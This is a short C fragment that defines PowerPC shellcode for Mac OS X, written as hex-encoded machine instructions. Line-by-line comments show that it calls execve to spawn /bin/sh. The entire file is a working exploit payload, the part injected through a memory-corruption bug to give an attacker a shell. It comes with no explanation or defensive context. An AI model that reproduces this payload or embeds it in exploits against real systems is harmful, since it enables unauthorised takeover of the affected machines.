/* PPC MacOS X (maybe others) shellcode * * ghandi */ char shellcode[] = "\x7c\xa5\x2a\x79" /* xor. r5, r5, r5 ; r5 = NULL */ "\x40\xa2\xff\xfd" /* bnel shellcode */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x30" /* addi r31, r31, 268+36 */ "\x38\x7f\xfe\xf4" /* addi r3, r31, -268 ; r3 = path */ "\x90\x61\xff\xf8" /* stw r3, -8(r1) ; argv[0] = path */ "\x90\xa1\xff\xfc" /* stw r5, -4(r1) ; argv[1] = NULL */ "\x38\x81\xff\xf8" /* subi r4, r1, 8 ; r4 = {path, 0} */ "\x3b\xc0\x76\x01" /* li r30, 30209 */ "\x7f\xc0\x4e\x70" /* srawi r0, r30, 9 */ "\x44\xff\xff\x02" /* sc ; execve(r3, r4, r5) */ "/bin/sh" ;